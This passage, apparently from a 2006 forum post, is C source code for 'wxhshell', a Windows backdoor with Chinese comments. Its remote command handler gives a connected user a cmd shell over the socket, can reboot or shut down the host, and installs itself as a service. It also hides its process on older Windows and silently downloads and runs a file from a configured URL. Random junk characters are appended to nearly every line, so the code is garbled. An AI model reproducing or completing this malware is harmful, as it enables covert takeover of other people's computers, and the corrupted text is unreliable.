  case '?': { *rk!`n&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Sy<s/x^`  
    break; @gZ<!g/vza  
  } C,xM) V^a  
  // 安装 ?#LbhO*   
  case 'i': { gqRwN p  
    if(Install()) )R2BTE:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vuqm{bo^  
    else /WJ*ro]Hd$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OxraaN`  
    break; V3u[{^^f  
    } ~e<v<92Xu  
  // 卸载 a9GLFA8Vq  
  case 'r': { V nv9 <=R  
    if(Uninstall()) |[VtYV _{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >"Z^8J  
    else bstc|8<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @{Q[M3l  
    break; u9*}@{,  
    } +0Rr5^8u  
  // 显示 wxhshell 所在路径 0/."R ;  
  case 'p': { ;_lEu" -  
    char svExeFile[MAX_PATH]; x_oL~~@  
    strcpy(svExeFile,"\n\r"); < g<Lf[n$  
      strcat(svExeFile,ExeFile); 0} UJP   
        send(wsh,svExeFile,strlen(svExeFile),0); {<HL}m@kQ  
    break; 6"Km E}  
    } _ s]=g  
  // 重启 heliL/  
  case 'b': { >k?/'R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~_TmS9  
    if(Boot(REBOOT)) ?N,'1I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 38%xB<Y  
    else { E Cx_ [|3{  
    closesocket(wsh); < ealt  
    ExitThread(0); K`nI$l7hg  
    } < }3c%Q1  
    break; %7PprN0>  
    } 6.Nu[-?  
  // 关机 "bRg_]\q6  
  case 'd': { >Udb*76 D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~R]E=/m|  
    if(Boot(SHUTDOWN)) {Tp0#fi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p0xd c3  
    else { kN4nRW9z  
    closesocket(wsh); n7"e 79  
    ExitThread(0); 6ZBg/_m  
    } av(d0E}}b  
    break; D@yg)$;z  
    } yWACI aj  
  // 获取shell XB)e;R  
  case 's': { gOI #$-L  
    CmdShell(wsh); `MgR/@%hr  
    closesocket(wsh); `CI9~h@k  
    ExitThread(0); \guZc}V]:\  
    break; )*I=>v.Jq  
  } %6}S'yL  
  // 退出 mN^92@eebC  
  case 'x': { {6v|d{V+e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K2TO,J3 E  
    CloseIt(wsh); {R7>-Y[4)2  
    break; nu] k<^I5|  
    } )""i"/Mn  
  // 离开 OYJy;u3"  
  case 'q': { {_1^ GIIS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,P ?TYk  
    closesocket(wsh); -&#L4AM%(9  
    WSACleanup(); w0Fi~:b  
    exit(1); 8u$Kr q  
    break; PXcpROg56  
        } {}?s0U$5  
  } Q/6T?{\U7  
  }  U&PAs e  
C+Wb_  
  // 提示信息 "aN<3b  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GdavCwJ  
} jK#y7E  
  } )^uLZMNaI  
$jb0/  
  return; N:!XtYA<  
} BJk:h-m [  
0}qij  
// shell模块句柄 />XfK,c-  
int CmdShell(SOCKET sock) Z&=K+P  
{ PNXZ3:W  
STARTUPINFO si; J.:"yK""  
ZeroMemory(&si,sizeof(si)); .Lo$uKsW$l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /d5_-AB(v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a\\B88iRRZ  
PROCESS_INFORMATION ProcessInfo; 4@|K^nT`  
char cmdline[]="cmd"; -vI?b#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $=$I^hV  
  return 0; l/yLSGjM  
} g/so3F%v .  
-Q;5A;sr2  
// 自身启动模式 6rL'hB!!]*  
int StartFromService(void) j4le../N  
{ GEwgwenv  
typedef struct %4cUa| =?  
{ :Tw3Oo_~S  
  DWORD ExitStatus; gh}FZs5 P  
  DWORD PebBaseAddress; N{`-&8q;K  
  DWORD AffinityMask; ?rWqFM:hb  
  DWORD BasePriority; x;LyR  
  ULONG UniqueProcessId; :7IL|bA<  
  ULONG InheritedFromUniqueProcessId; P"_x/C(]@J  
}   PROCESS_BASIC_INFORMATION; &by,uVb=|{  
71cc6T  
PROCNTQSIP NtQueryInformationProcess; ?]f+)tCMs  
(o{-1Dg)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F8Y D:   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uJMF\G=nb  
$Ha?:jSc  
  HANDLE             hProcess; e%N\Pshgv  
  PROCESS_BASIC_INFORMATION pbi; m:/@DZ  
"j3Yu4_ks  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |Wj)kr !|  
  if(NULL == hInst ) return 0; SxC$EQ gL  
$I-$X?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ExI?UGT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3j0/&ON  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @g[p>t> *  
&529.>  
  if (!NtQueryInformationProcess) return 0; VZF/2d84&w  
WDKj)f9cy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e}f!zA  
  if(!hProcess) return 0; eg) =^b  
6-gxba  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 79uL"N;  
hT^6Ifm  
  CloseHandle(hProcess); .%3bXK+F  
mT5d[lz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I1kx3CwJ{P  
if(hProcess==NULL) return 0; J @"wJEF  
d7^:z%Eb|  
HMODULE hMod; W+a>*#*  
char procName[255];  ~MyP4x/  
unsigned long cbNeeded; $2 Ox;+  
)qD%5} t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5bv(J  T  
XYWGX;.=  
  CloseHandle(hProcess); jN 5Hku[?  
tHXt*tzq  
if(strstr(procName,"services")) return 1; // 以服务启动 V8NNIS  
Vfp{7I$#6"  
  return 0; // 注册表启动 u7fae$:&  
} y .S0^  
 nq8mzI  
// 主模块 "Z }'u2%\m  
int StartWxhshell(LPSTR lpCmdLine) l+ bP48  
{ ,\[&%ph  
  SOCKET wsl; 4eYj.=I  
BOOL val=TRUE; R8Lp8!F'  
  int port=0; TuBg4\V  
  struct sockaddr_in door; HV&N(;@  
k x6%5%  
  if(wscfg.ws_autoins) Install(); `BMg\2Ud*  
w@X<</`  
port=atoi(lpCmdLine); ]XJpy-U  
jr*A1y*  
if(port<=0) port=wscfg.ws_port; '%V ;oJ"  
g {8>2OK$c  
  WSADATA data; <N=p_m 2T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C $aiOK-]+  
8~EDmg[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /%$'N$@f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Cq u/(=  
  door.sin_family = AF_INET; vC$[Zm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x<P$$G/  
  door.sin_port = htons(port); s8{3~Hv  
+G? 4Wc1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -#Yg B5  
closesocket(wsl); 9O?.0L  
return 1; /^DDU!=(<  
} {]] nQ  
M=x/PrY"R  
  if(listen(wsl,2) == INVALID_SOCKET) { pJVzT,poh  
closesocket(wsl); :"3WCB  
return 1; %@G<B  
} *@dRL3c^=  
  Wxhshell(wsl); 4kT|/ bp  
  WSACleanup(); hqFK2 lR  
G|'DAj%  
return 0; aQMET~A:  
t=~al8  
} IcoK22/  
{w(6Tc  
// 以NT服务方式启动 7cr+a4T33  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T}$1<^NK  
{ x7t<F4  
DWORD   status = 0; @GBS-iT3  
  DWORD   specificError = 0xfffffff; C "<l}  
}7g\1l\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P@lExF*D1:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0LrTYrlj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d&(GIH E&d  
  serviceStatus.dwWin32ExitCode     = 0; X{9D fgW  
  serviceStatus.dwServiceSpecificExitCode = 0; K:V_,[gO  
  serviceStatus.dwCheckPoint       = 0; }v;@1[.B  
  serviceStatus.dwWaitHint       = 0; nDkyo>t .  
%QVX1\>]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -G(z!ed  
  if (hServiceStatusHandle==0) return; +su>0'a  
<3LyNG.  
status = GetLastError(); KU"? ZI  
  if (status!=NO_ERROR) y!1%Kqx1,n  
{ s)_7*DY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]V<[W,*(5  
    serviceStatus.dwCheckPoint       = 0; :w#Zs)N  
    serviceStatus.dwWaitHint       = 0; ya5;C"   
    serviceStatus.dwWin32ExitCode     = status; {|^9y]VFu  
    serviceStatus.dwServiceSpecificExitCode = specificError; Um4 }`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tUGnD<P  
    return; s59v* /  
  } *["9;_KD  
YnNB#x8|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; { e<J}-/?  
  serviceStatus.dwCheckPoint       = 0; !Jh-v  
  serviceStatus.dwWaitHint       = 0; G>M# BuU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f:B+R  
} .*r ?zDV  
` *&*jdq&i  
// 处理NT服务事件,比如:启动、停止 PnFU{N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xA`Q4"[I  
{ (NFq/w%  
switch(fdwControl) pez[qs  
{ 6U @3 xU`  
case SERVICE_CONTROL_STOP: %?<C ?.  
  serviceStatus.dwWin32ExitCode = 0; <[Q#}/$"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (VO) Q  
  serviceStatus.dwCheckPoint   = 0; w_ kHy_)  
  serviceStatus.dwWaitHint     = 0; IwZn%>1N  
  { {e/12q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n (C*LK  
  } GL cf'$l  
  return; d?oupW}uu  
case SERVICE_CONTROL_PAUSE: 1 C{n!l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y/$WjFj3"  
  break; !qV{OXdrB  
case SERVICE_CONTROL_CONTINUE: gLsl/G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zg.'  
  break; Kg VLXI6  
case SERVICE_CONTROL_INTERROGATE: (Vf&,b@U_  
  break; T8GxoNm  
}; 0<>I\UN0b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tt `|26/  
} z;zy k  
sw[1T_S>  
// 标准应用程序主函数 L oe!@c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o*_[3{FU  
{ (8?t0}#t  
W|NzdxCY  
// 获取操作系统版本 X)e6Y{vO  
OsIsNt=GetOsVer(); N0O8to}V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6;dQ#wmg  
$LRvPan`  
  // 从命令行安装 -w1U /o.  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0F8y8s  
V9`VF O  
  // 下载执行文件 @g }r*U?  
if(wscfg.ws_downexe) { *Y?rls`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~= lm91W  
  WinExec(wscfg.ws_filenam,SW_HIDE); WB'&W=  
} -m(9*b{h@  
O"<D0xzF?  
if(!OsIsNt) { 0vbn!<:  
// 如果时win9x,隐藏进程并且设置为注册表启动 SZpBbX$  
HideProc(); >)R7*^m{'  
StartWxhshell(lpCmdLine); ?_%*{]mt(  
} /+1+6MqRn*  
else p(8H[L4Y  
  if(StartFromService()) !e?=I  
  // 以服务方式启动 f$Nz).(  
  StartServiceCtrlDispatcher(DispatchTable); .2q7X{4=  
else b2aPo M=  
  // 普通方式启动 "o*(i7T=n  
  StartWxhshell(lpCmdLine); *NS:X7p!V  
;2(8&.  
return 0; S;kI\;  
}
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只看该作者 1 发表于: 2006-10-10
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